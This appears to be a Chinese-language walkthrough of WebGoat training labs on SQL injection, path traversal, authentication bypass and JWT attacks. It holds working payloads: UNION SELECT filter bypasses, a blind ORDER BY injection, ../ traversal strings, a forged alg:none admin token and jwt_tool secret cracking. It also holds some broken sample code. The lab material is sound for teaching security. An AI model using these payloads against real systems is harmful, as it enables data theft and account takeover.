介绍如何减小 SQL 注入的缺陷,使用 PreparedStatement

贴一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//Parameterized Queries - Java Snippet参数化查询(java代码片段)
public static bool isUsernameValid(string username) {
RegEx r = new Regex("^[A-Za-z0-9]{16}$");
return r.isMatch(username);
}

// java.sql.Connection conn is set elsewhere for brevity.
PreparedStatement ps = null;
RecordSet rs = null;
try {
pUserName = request.getParameter("UserName");
if ( isUsernameValid (pUsername) ) {
ps = conn.prepareStatement("SELECT * FROM user_table
WHERE username = ? ");
ps.setString(1, pUsername);
rs = ps.execute();
if ( rs.next() ) {
// do the work of making the user record active in some way
}
} else { // handle invalid input }
}
catch (...) { // handle all exceptions ... }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//Parameterized Queries - Java Example(java案例)
public static String loadAccount() {
// Parser returns only valid string data
String accountID = getParser().getStringParameter(ACCT_ID, "");
String data = null;
String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
try (Connection connection = null;
PreparedStatement statement = connection.prepareStatement(query)) {
statement.setString(1, accountID);
ResultSet results = statement.executeQuery();
if (results != null && results.first()) {
results.last(); // Only one record should be returned for this query
if (results.getRow() <= 2) {
data = processAccount(results);
} else {
// Handle the error - Database integrity issue
}
} else {
// Handle the error - no records found }
}
} catch (SQLException sqle) {
// Log and handle the SQL Exception }
}
return data;
}

ai 给出的解释:

PreparedStatement 是 Java JDBC 中的一个接口,它表示一个预编译的 SQL 语句。预编译的 SQL 语句可以在多次执行时重复使用,这可以提高执行效率。此外,PreparedStatement 还可以防止 SQL 注入攻击,因为它允许你将参数作为预编译语句的一部分,而不是直接将参数嵌入到 SQL 语句中。

使用 PreparedStatement 的主要好处是:

  1. 性能优化:预编译的 SQL 语句只需要被解析和编译一次,然后可以多次执行。这通常比使用 Statement 对象更快,因为它避免了重复的解析和编译开销。
  2. 防止 SQL 注入:通过使用参数化查询,你可以避免 SQL 注入攻击。当使用 PreparedStatement 时,参数值不会被解释为 SQL 代码,而是作为数据传递,从而提高了安全性。
  3. 灵活的查询:你可以使用 PreparedStatementsetXXX() 方法(例如 setString(), setInt(), setDouble 等)来设置参数值,这使得查询更加灵活和易于管理。

以下是一个简单的示例,演示如何使用 PreparedStatement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class PreparedStatementExample {
public static void main(String[] args) {
String url = "jdbc:mysql://localhost:3306/mydatabase";
String user = "username";
String password = "password";
String name = "John";
String email = "[email protected]";

try (Connection conn = DriverManager.getConnection(url, user, password)) {
String sql = "SELECT status FROM users WHERE name=? AND mail=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, name);
ps.setString(2, email);
ResultSet rs = ps.executeQuery();
while (rs.next()) {
System.out.println("Status: " + rs.getString("status"));
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}

在上面的示例中,我们首先创建一个到数据库的连接,然后准备一个预编译的 SQL 查询。接下来,我们使用 setString() 方法为占位符设置值,并执行查询。最后,我们遍历结果集并打印出状态信息。

5.

您可以在下面看到一些代码,但这些代码不完整。完成代码,使其不再容易受到 SQL 注入的攻击!使用您之前学过的类和方法。

代码必须根据用户的名称和邮件地址检索用户的状态。名称和邮件均采用字符串格式。

根据题意,使用 PreparedStatement 查询数据库

1
2
3
4
5
6
7
8
9
10
11
12
# 这行代码使用DriverManager类的getConnection方法来建立与数据库的连接。它需要三个参数:
# `DBURL`:数据库的URL或地址。
# `DBUSER`:用于连接到数据库的用户名。
# `DBPW`:用于连接到数据库的密码。通过这些参数,代码尝试与数据库建立连接,并将返回的`Connection`对象存储在名为`conn`的变量中。
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
# 这行代码创建了一个PreparedStatement对象。PreparedStatement是用来执行参数化SQL查询的。这里,它创建了一个查询,该查询从名为“users”的表中选择“status”字段,其中“name”和“mail”字段的值必须与给定的参数匹配。
# `?`:这些是参数占位符。在后续的代码中,我们将使用`setString`方法为这些占位符设置实际的值。使用参数化查询的好处是可以防止SQL注入攻击,并且可以更有效地与数据库通信。
PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name
? AND mail=?");
# 这行代码为第一个参数占位符设置了值。它将第一个占位符的值设置为变量name的值。在这个上下文中,我们可以认为这是将查询中的“name”字段的值设置为某个特定的用户名。
ps.setString(1, name);
ps.setString(2, mail);

6.

试试吧!编写安全代码
现在是时候编写自己的代码了! 您的任务是使用 JDBC 连接到数据库并从中请求数据。

要求:

  1. 连接到数据库

  2. 对不受 SQL 注入攻击的数据库执行查询

  3. 查询需要包含至少一个字符串参数

开始之前的一些提示:
要连接到数据库,您可以简单地假设给定的常量 DBURL、DBUSER 和 DBPW。
查询的内容无关紧要,只要 SQL 有效且满足要求即可。
您编写的所有代码都将插入到已导入 java.sql.* 的名为“TestClass”的 Java 类的 main 方法中。

没有足够的创意来思考自己的问题?您尝试从名为 users 的虚构数据库表中检索具有特定名称的用户的数据怎么样?

例如:下面的代码可以编译而不会出现任何错误(但当然不符合完成本课的要求)。

1
2
3
4
5
6
try {
Connection conn = null;
System.out.println(conn); //should output 'null'
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}

利用您的知识,在下面的编辑器窗口中从头开始编写一些有效的代码! (如果您无法在那里输入,调整一次浏览器窗口的大小可能会有所帮助,那么它应该可以工作):

因为已经导入所有包了,现在只需要写主要代码就行了

主要不要忘记ResultSet res = ps.executeQuery();施行查询操作

ResultSet res = ps.executeQuery(); 是在 Java 的 JDBC(Java Database Connectivity)编程中常见的一行代码,它执行一个 SQL 查询并返回一个ResultSet对象。

  • ps 是一个 PreparedStatement 对象,它包含了一个预编译的 SQL 查询。
  • executeQueryPreparedStatement 的一个方法,用于执行查询并返回一个 ResultSet 对象。
  • ResultSet 对象包含了查询的结果集,你可以使用 ResultSet 的方法来获取和处理查询返回的数据。

具体来说,这一行代码执行 SQL 查询,并将结果存储在res变量中,然后你可以使用这个 ResultSet 对象来处理查询返回的数据。

1
2
3
4
5
6
7
8
9
try{
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
String sql = "select * from users where name = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, "name");
ResultSet res = ps.executeQuery();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}

7

上面是 java,现在是.net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//Parameterized Queries - .NET
public static bool isUsernameValid(string username) {
RegEx r = new Regex("^[A-Za-z0-9]{16}$");
Return r.isMatch(username);
}

// SqlConnection conn is set and opened elsewhere for brevity.
try {
string selectString = "SELECT * FROM user_table WHERE username = @userID";
SqlCommand cmd = new SqlCommand( selectString, conn );
if ( isUsernameValid( uid ) ) {
cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
SqlDataReader myReader = cmd.ExecuteReader();
if ( myReader ) {
// make the user record active in some way.
myReader.Close();
}
} else { // handle invalid input }
}
catch (Exception e) { // Handle all exceptions... }

9.

给了个文章让我们去看

https://twitter.com/marcan42/status/1238004834806067200?s=21

但是我去看的时候发现文章没了。。。

直接看题吧

通过尝试发现过滤了空格

我们直接其他符号绕过就行了

我用的是 /**/

1
Smith'/**/UNION/**/SELECT/**/userid,user_name,/**/password,'a','b','c',1/**/from/**/user_system_data--'

然后用//注释符号也行

10.

我们先尝试输入

发现每一次输入 select 和 from 在返回的结果中都会消失

说明这题除了过滤了空格,也过滤了关键字,即 select,from,我们双写绕过就行了

原理:他只会过滤一次,即 SELselectECt 过滤一次会变成 select,从而达到绕过的效果

1
Smith'/**/UNION/**/SELselectECT/**/userid,user_name,/**/password,'a','b','c',1/**/frfromom/**/user_system_data--'

12.

在此分配中,尝试通过 ORDER BY 字段执行 SQL 注入。 尝试找到服务器的 ip 地址,猜测完整的 IP 地址可能需要太长时间,因此我们为您提供最后一部分:webgoat-prdxxx.130.219.202

注意:此分配的提交字段不容易受到 SQL 注入的影响。

根据提示去按排序按钮,然后抓包,发现请求是 get

发送给 repeater,通过修改 column 发现排序是按值来的

输入非法字符报错,发现表名是 servers

构造 ORDER BY 语句
① 根据上一章节 11 说过,有 order by (case when (true/false) then ip else hostname end
when 为 true,以 ip 排序。为 false,以 hostname 排序。这两个字段的排序可以直接在网页上点击排序按钮查看。
② 之前的 SQL 注入中,我们使用过 substr(ip,1,1)=’1’语句,返回值是 boolean 类型,符合 ①
③ 如果直接将 ② 语句嵌套到 ① 中的 when (①)的话,这里的 ip 是网页上的四个 ip,webgoat-prd 服务器还是被隐藏着,所以我们要把 ② 中的“ip”替换成“select ip from servers where hostname=’webgoat-prd’”。
根据 ③②① 结合得到 ORDER BY 语句如下

1
ORDER BY (CASE WHEN (substr((select ip from servers where hostname='webgoat-prd'),1,1)='1') THEN (ip) ELSE (hostname) END)

然后发送到 intruder 模块爆破

手动替换“,”=“%2C”,空格替换为“+”号

选择 Cluster bomb,在第一个 1 和最后一个 1 标记

因为只需要爆破前三个 ip 值(后面的题目给了),然后后面值都是 0-9,如此设置

然后爆破,查看 response 部分,如果排序是按 ip 则正确

最后可以得出 IP 为 104.130.219.202

4.Path traversal(路径遍历)

1.

Path traversal
A path(directory) traversal is a vulnerability where an attacker is able to access or store files and directories outside the location where the application is running. This may lead to reading files from other directories and in case of a file upload overwriting critical system files.

How does it work?
For example let’s assume we have an application which hosts some files and they can be requested in the following format: now as an attacker you are interested in other files of course so you try . In this case you try walk up to the root of the filesystem and then go into to gain access to this file. The is called dot-dot-slash which is another name for this attack.http://example.com/file=report.pdfhttp://example.com/file=../../../../../etc/passwd/etc/passwd../

Of course this is a very simple example and in most cases this will not work as frameworks implemented controls for this, so we need to get a little more creative and start encoding before the request is sent to the server. For example if we URL encode you will get and the web server receiving this request will decode it again to …/…/%2e%2e%2f…/

Also note that avoiding applications filtering those encodings double encoding might work as well. Double encoding might be necessary in the case where you have a system A which calls system B. System A will only decode once and will call B with the still encoded URL.

路径遍历
路径(目录)遍历是一种漏洞,攻击者能够访问或存储外部的文件和目录 应用程序运行的位置。这可能会导致从其他目录读取文件,如果是文件,则会导致读取文件 上传覆盖关键系统文件。

它是如何工作的?
例如,假设我们有一个应用程序,它托管了一些文件,并且可以在下面请求它们 格式: 现在,作为攻击者,您当然对其他文件感兴趣,所以 你试试.在这种情况下,您尝试爬到文件系统的根目录 然后进入以获取对此文件的访问权限。称为点-点-斜杠,这是另一个名称 对于这次攻击。http://example.com/file=report.pdfhttp://example.com/file=../../../../../etc/passwd/etc/passwd../

当然,这是一个非常简单的示例,在大多数情况下,这不会作为框架实现的控件 因此,我们需要更有创意,并在请求发送到服务器之前开始编码。 例如,如果我们对 URL 进行编码,您将得到并且接收此请求的 Web 服务器将解码 它再次更改为 …/…/%2e%2e%2f…/

另请注意,避免应用程序过滤这些编码的双重编码也可能有效。双重编码 如果系统 A 调用系统 B,则可能需要系统 A。系统 A 只会解码一次,并且 将使用仍编码的 URL 调用 B。

2.

上传文件,发现上传文件和 FullName 有关,即我们能控制上传文件位置

修改成../

只要不是正确的位置都能通过

3.

过滤了../

但是没有关系,我们换成../就能通过了

4.

这题就需要抓包了

通过返回的数据可以看出储存的位置适合 shell.php 有关的,我们换成../shell.php就行了

5.

使用路径遍历检索其他文件
路径遍历不仅限于文件上传,在检索文件时,路径遍历也可能是 可以从系统中检索其他文件。在此作业中,尝试查找一个名为 path-traversal-secret.jpg

还是得抓包

按 Show random cat picture 后抓包

通过返回的数据可以知道?id=9.jpg可以控制文件路径

我们照葫芦画瓢换成../提心非法字符、

既然这样我们选择要转换的位置右键选择转换选择->URL->URL 编码所有字符就能自动转换了

然后就是一步一步找了,在../../文件位置找到(记得转换字符)

把 id 的值换成这个../../path-traveral-secert(记得转换字符,而且这里需要把 jpg 去掉才行,否则不行,我这里没想明白。。。有评论区大佬请告知),然后就知道 flag 就似乎你的用户名用 sha-512 加密就行了

7.

Zip Slip 分配
这一次,开发人员只允许您上传 zip 文件,但是,他们犯了一个编程错误,因为上传 zip 文件会提取它,但不会替换您的图像。您能找到一种方法来绕过编程错误来覆盖当前映像吗?

这题我没想明白考点

我就直接找了一张照片压缩成 zip 上传就成功了。。。

本来还想抓包看看的

当我们去查看题目中的目录,发现 ZIP 已经被解压缩。这意味着,如果有相同文件名称的文件的话,将会被新文件覆盖。
正确的做法是,将所有上传的文件都经过一遍安全校验和安全设置,并将文件给一个强随机的文件名,避免文件覆盖问题。


4.Broken Authentication(身份验证绕过)

1.Authentication Bypass(身份验证绕过)

1.

Authentication Bypasses
Authentication Bypasses happen in many ways, but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions.

Hidden inputs
The simplest form is a reliance on a hidden input that is in the web page/DOM.

Removing Parameters
Sometimes, if an attacker doesn’t know the correct value of a parameter, they may remove the parameter from the submission altogether to see what happens.

Forced Browsing
If an area of a site is not protected properly by configuration, that area of the site may be accessed by guessing/brute-forcing.

身份验证绕过
身份验证绕过以多种方式发生,但通常会利用配置或逻辑中的某些缺陷。篡改以达到正确的条件。

隐藏输入
最简单的形式是依赖于网页/DOM 中的隐藏输入。

删除参数
有时,如果攻击者不知道参数的正确值,他们可能会从提交中完全删除该参数,以查看会发生什么情况。

强制浏览
如果站点的某个区域未通过配置得到适当保护,则可以通过猜测/暴力破解来访问该站点的该区域。

2.

案例连接

您正在重置密码,但从您的提供商无法识别的位置或设备进行重置。因此,您需要回答您设置的安全问题。另一个问题是 这些安全问题也存储在另一台设备上(不是与您一起),而您不记得它们。

您已经提供了您的用户名/电子邮件,并选择了其他验证方法。

其实就是照着步骤复现就是了。。。有这么简单就好了

果然删除没有作用,看了提示说是修改参数

经过尝试发现修改成 secQuestion 需要有两个,且参数不为 0 和 1 就行,我试过数字或则字母都行

这位博主参看了源码,而且也讲得很详细 👉WebGoat-8.2.2 版靶机学习总结_webgoat8.2.2-CSDN 博客

通过查看代码第 59/61/88 行可知,当参数中存在“%secQuestion%”的变量时请求就可以通过。符号%表示任意字符/串。

2.JWT tokens

1.Json Web Token

什么是 JWT

Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准(RFC 7519

该 token 被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景,是目前最流行的跨域认证解决方案。JWT 的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该 token 也可直接被用于认证,也可被加密。

JWT 的原理

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

1
2
3
4
5
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。

服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

JWT 的数据结构

实际当中 JWT 长这个样子:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ

它是一个很长的字符串,中间用点(.)分隔成三个部分。注意,JWT 内部是没有换行的

JWT 的三个部分依次如下:

  • Header(头部)
  • Payload(负载)
  • Signature(签名)

写成一行,就是下面的样子。

1
Header.Payload.Signature

每个部分最后都会使用 base64URLEncode 方式进行编码

1
2
3
4
5
#!/usr/bin/env python
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

Header 部分是一个 JSON 对象,描述 JWT 的元数据,以上面的例子,使用 base64decode 之后:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

header 部分最常用的两个字段是 alg 和 typ。

alg 属性表示 token 签名的算法(algorithm),最常用的为 HMAC 和 RSA 算法

typ 属性表示这个 token 的类型(type),JWT 令牌统一写为 JWT。

Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了 7 个官方字段,供选用。

  • iss (issuer):签发人
  • exp (expiration time):过期时间
  • sub (subject):主题
  • aud (audience):受众
  • nbf (Not Before):生效时间
  • iat (Issued At):签发时间
  • jti (JWT ID):编号

除了官方字段,还可以在这个部分定义私有字段,以上面的例子为例,将 payload 部分解 base64 之后:

1
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0
1
2
3
4
5
{
"sub": "1234567890",
"name": "CTFHub",
"iat": 1516239022
}

注意:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分 JSON 的内容,所以不要将私密的信息放在这个部分

Signature

Signature 部分是对前两部分的签名,防止数据篡改

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

参考链接

官网解释

阮一峰老师亲作(力推,写的很清晰)

JSON Web Token - Wikipedia

这里直接解码就行了,可以用JSON Web Tokens 的也可以用 Webwolf 自带的功能

5.

尝试更改您收到的令牌并通过更改令牌成为管理员用户,并在您成为管理员后重置投票

点击投票之后抓包

解码

头部的算法改成 none

payload 部分的 admin:false 改成 true

两个部分用 base64 加密,加密后拼接在一起如下面的格式,记得小数点

因为加密后会有=号,然后 jwt 需要把=去点

1
ewogICJhbGciIDogIm5vbmUiCn0.ewogICJhZG1pbiIgOiAidHJ1ZSIsCiAgImlhdCIgOiAxNzA0ODc4MTY1LAogICJ1c2VyIiA6ICJUb20iCn0.

改完发送就行了

6.

这是对第 5 题的解答?

Solution
The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it.

Signed JSON Web Tokens carry an explicit indication of the signing algorithm, in the form of the “alg” Header Parameter, to facilitate cryptographic agility. This, in conjunction with design flaws in some libraries and applications, has led to several attacks:

The algorithm can be changed to “none” by an attacker, and some libraries would trust this value and “validate” the JWT without checking any signature.

An “RS256” (RSA, 2048 bit) parameter value can be changed into “HS256” (HMAC, SHA-256), and some libraries would try to validate the signature using HMAC-SHA256 and using the RSA public key as the HMAC shared secret (see [McLean] and [CVE-2015-9235]).

For mitigations, see Sections 3.1 and 3.2.

https://tools.ietf.org/html/rfc8725#section-2.1
What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token.

Solution
First note that we are logged in as so first select a different user for example: Tom. User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an in the response:Guestaccess_token

GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1

access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA
Decoding the token gives:

1
2
3
4
5
6
7
8
{
"alg": "HS512"
}
{
"iat": 1608128566,
"admin": "false",
"user": "Tom"
}

We can change the claim to but then signature will become invalid. How do we end up with a valid signature? Looking at the RFC specification is a valid choice and gives an unsecured JWT. Let’s change our token:adminfalsealg: none

1
2
3
4
5
6
7
8
9
10
11
12
13
headers:

{
"alg": "none"
}

claims:

{
"iat": 1608128566,
"admin": "true",
"user": "Tom"
}

If we use WebWolf to create our token we get:

eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9
Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a at the end otherwise the token is not valid…

溶液
此分配背后的想法是,您可以操作令牌,这可能会导致服务器以不同的方式解释令牌。一开始,当 JWT 库出现时,它们实现了规范,这意味着库采用了标头中指定的算法并尝试使用它。

签名的 JSON Web 令牌带有签名的显式指示 算法,以 “alg” Header Parameter 的形式,以方便 加密敏捷性。这与设计缺陷相结合 一些库和应用程序导致了几次攻击:

攻击者可以将该算法更改为“无”,并且某些算法 库将信任此值并“验证”JWT,而无需 检查任何签名。

“RS256”(RSA,2048 位)参数值可以更改为 “HS256”(HMAC、SHA-256),一些库会尝试验证 使用 HMAC-SHA256 并使用 RSA 公钥作为 HMAC 共享密钥(请参阅 [McLean] 和 [CVE-2015-9235])。

有关缓解措施,请参阅第 3.1 节和第 3.2 节。

溶液
首先请注意,我们已登录,因此首先选择其他用户,例如:Tom。 如您所见,用户 Tom 被允许投票,但他无法重置投票。查看请求,这将在响应中返回:Guestaccess_token

GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1

access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA
解码令牌给出:

1
2
3
4
5
6
7
8
{
"alg": "HS512"
}
{
"iat": 1608128566,
"admin": "false",
"user": "Tom"
}

我们可以将声明更改为,但签名将失效。我们如何最终获得有效的签名? 查看 RFC 规范是一个有效的选择,并给出了一个不安全的 JWT。 让我们更改我们的令牌:adminfalsealg: none

1
2
3
4
5
6
7
8
9
10
11
12
13
headers:

{
"alg": "none"
}

claims:

{
"iat": 1608128566,
"admin": "true",
"user": "Tom"
}

如果我们使用 WebWolf 创建我们的令牌,我们会得到:

eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9
现在我们可以替换 cookie 中的令牌并再次执行重置。需要注意的一件事是在末尾添加 a,否则令牌无效。.

7.

查看 parseClaimsJwt()的源码注释

Parses the specified compact serialized JWT string based on the builder’s current configuration state and returns the resulting unsigned plaintext JWT instance. This is a convenience method that is usable if you are confident that the compact string argument reflects an unsigned Claims JWT. An unsigned Claims JWT has a Claims body and it is not cryptographically signed. If the compact string presented does not reflect an unsigned Claims JWT, an UnsupportedJwtException will be thrown.

根据生成器的当前配置状态分析指定的紧凑序列化 JWT 字符串,并返回结果的无签名明文 JWT 实例。这是一个方便的方法,如果您确信紧凑字符串参数反映了未签名的声明 JWT,则可以使用。未签名的索赔 JWT 具有索赔主体,并且它没有加密签名。如果提供的紧凑字符串不反映未签名的声明 JWT,则将引发 UnsupportedJwtException。
查看 parse()的源码注释

Parses the specified compact serialized JWT string based on the builder’s current configuration state and returns the resulting JWT or JWS instance. This method returns a JWT or JWS based on the parsed string. Because it may be cumbersome to determine if it is a JWT or JWS, or if the body/payload is a Claims or String with instanceof checks, the #parse(String,JwtHandler) method allows for a type-safe callback approach that may help reduce code or instanceof checks.

根据生成器的当前配置状态分析指定的紧凑序列化 JWT 字符串,并返回结果的 JWT 或 JWS 实例。此方法根据解析的字符串返回 JWT 或 JWS。由于确定它是 JWT 还是 JWS,或者正文/有效负载是带有实例检查的声明或字符串可能会很麻烦,因此#解析(字符串,JwtHandler)方法允许一种类型安全的回调方法,这可能有助于减少代码或实例检查。

所以答案是

1

3

8.

这个需要找工具,可以用提示里面的 hashcat

也可以用 jwt-tools

我用的是 jwt-tools,然后字典用提示里面的,下载命令

1
https://github.com/first20hours/google-10000-english

命令如下,jwt 记得换成自己的

1
2
3
python3 jwt_tool.py jwt -C -d 字典
#参数-C表示对JWT进行压缩,以缩短字节长度。
#参数-d指定了一个字典文件,该文件包含用于尝试破解JWT的可能密钥列表。

然后提示我的密钥是 shipping

把密钥换上去,然后 username 换成 WebGoat,还有就是时间问题

因为令牌都有自己的时间,如果不改的话会提示

1
JWT expired at 2023-12-31T16:31:50Z. Current time: 2023-12-31T18:47:35Z, a difference of 8145871 milliseconds. Allowed clock skew: 0 milliseconds.

即过期了

exp 尽量改大些就行了

Refreshing a token
Introduction
In this section we touch upon refreshing an access token.

Types of tokens
In general there are two types of tokens: an access token and a refresh token. The access token is used for making API calls towards the server. Access tokens have a limited life span, that’s where the refresh token comes in. Once the access token is no longer valid a request can be made towards the server to get a new access token by presenting the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user having to authenticate again with their credentials. Whether you should use a refresh token and an access token depends, below can find a couple of points to keep in mind while choosing which tokens to use.

So a normal flow can look like:

1
curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login

The server returns:

1
2
3
4
5
6
{
"token_type":"bearer",
"access_token":"XXXX.YYYY.ZZZZ",
"expires_in":10,
"refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7"
}

As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database) in order to match the refresh token to the user the refresh token was granted to. So in this case whenever the access token is still valid we can speak of a “stateless” session, there is no burden on the server side to setup the user session, the token is self contained. When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token is not blocked in any way.

Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection. It is also possible to make the refresh token stateless but this means it will become more difficult to see if the user revoked the tokens. After the server made all the validations it must return a new refresh token and a new access token to the client. The client can use the new access token to make the API call.

What should you check for?
Regardless of the chosen solution you should store enough information on the server side to validate whether the user is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange behavior, you can revoke all the tokens and let the user authenticate again). Also keep track of which access token belonged to which refresh token otherwise an attacker might be able to get a new access token for a different user with the refresh token of the attacker (see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check whether the location is still the same if not revoke all the tokens and let the user authenticate again.

Need for refresh tokens
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section about storing tokens there are two options: web storage or a cookie which mean a refresh token is right beside an access token, so if the access token is leaked chances are the refresh token will also be compromised. Most of the time there is a difference of course. The access token is sent when you make an API call, the refresh token is only sent when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same server you can choose to only use the access token.

As stated above using an access token and a separate refresh token gives some leverage for the server not to check the access token over and over. Only perform the check when the user needs a new access token. It is certainly possible to only use an access token. At the server you store the exact same information you would store for a refresh token, see previous paragraph. This way you need to check the token each time but this might be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least use a hash function to store them in your database).

刷新令牌
介绍
在本节中,我们将介绍如何刷新访问令牌。

token 类型
通常,有两种类型的令牌:访问令牌和刷新令牌。访问令牌用于制作 API 对服务器的调用。访问令牌的生命周期有限,这就是刷新令牌的用武之地。一次 访问令牌不再有效,可以向服务器发出请求,通过提供 刷新令牌。刷新令牌可能会过期,但其生命周期要长得多。这解决了用户的问题 必须使用其凭据再次进行身份验证。是否应使用刷新令牌和访问令牌取决于: 下面可以找到在选择要使用的令牌时要记住的几点。

因此,正常流程可能如下所示:

1
curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login

服务器返回:

1
2
3
4
5
6
{
"token_type":"bearer",
"access_token":"XXXX.YYYY.ZZZZ",
"expires_in":10,
"refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7"
}

如您所见,刷新令牌是一个随机字符串,服务器可以跟踪它(在内存中或存储在数据库中) 为了将刷新令牌与用户匹配,已向其授予刷新令牌。 因此,在这种情况下,只要访问令牌仍然有效,我们就可以说是“无状态”会话,有 服务器端没有设置用户会话的负担,令牌是自包含的。 当访问令牌不再有效时,服务器需要查询存储的刷新令牌,以确保令牌 不会以任何方式被阻止。

每当攻击者保留访问令牌时,它仅在一定时间(例如 10 分钟)内有效。这 然后,攻击者需要刷新令牌来获取新的访问令牌。这就是为什么刷新令牌需要更好的保护。 也可以使刷新令牌无状态,但这意味着如果 用户吊销了令牌。 服务器完成所有验证后,必须向客户端返回新的刷新令牌和新的访问令牌。这 客户端可以使用新的访问令牌进行 API 调用。

你应该检查什么?
无论选择哪种解决方案,您都应该在服务器端存储足够的信息,以验证用户是否 仍然值得信赖。你可以想到很多事情,比如存储 IP 地址,跟踪刷新多少次 使用令牌(在访问令牌的有效时间窗口内多次使用刷新令牌可能表示奇怪 行为,您可以撤销所有令牌并让用户再次进行身份验证)。 此外,还要跟踪哪个访问令牌属于哪个刷新令牌,否则攻击者可能会 能够使用攻击者的刷新令牌为其他用户获取新的访问令牌 (请参阅 https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/,了解有关此攻击如何工作的精彩文章) 另外,要检查的一件好事是用户的 IP 地址或地理位置。如果您需要发出新的令牌检查 位置是否仍然相同,如果没有,请撤销所有令牌并让用户再次进行身份验证。

需要刷新令牌
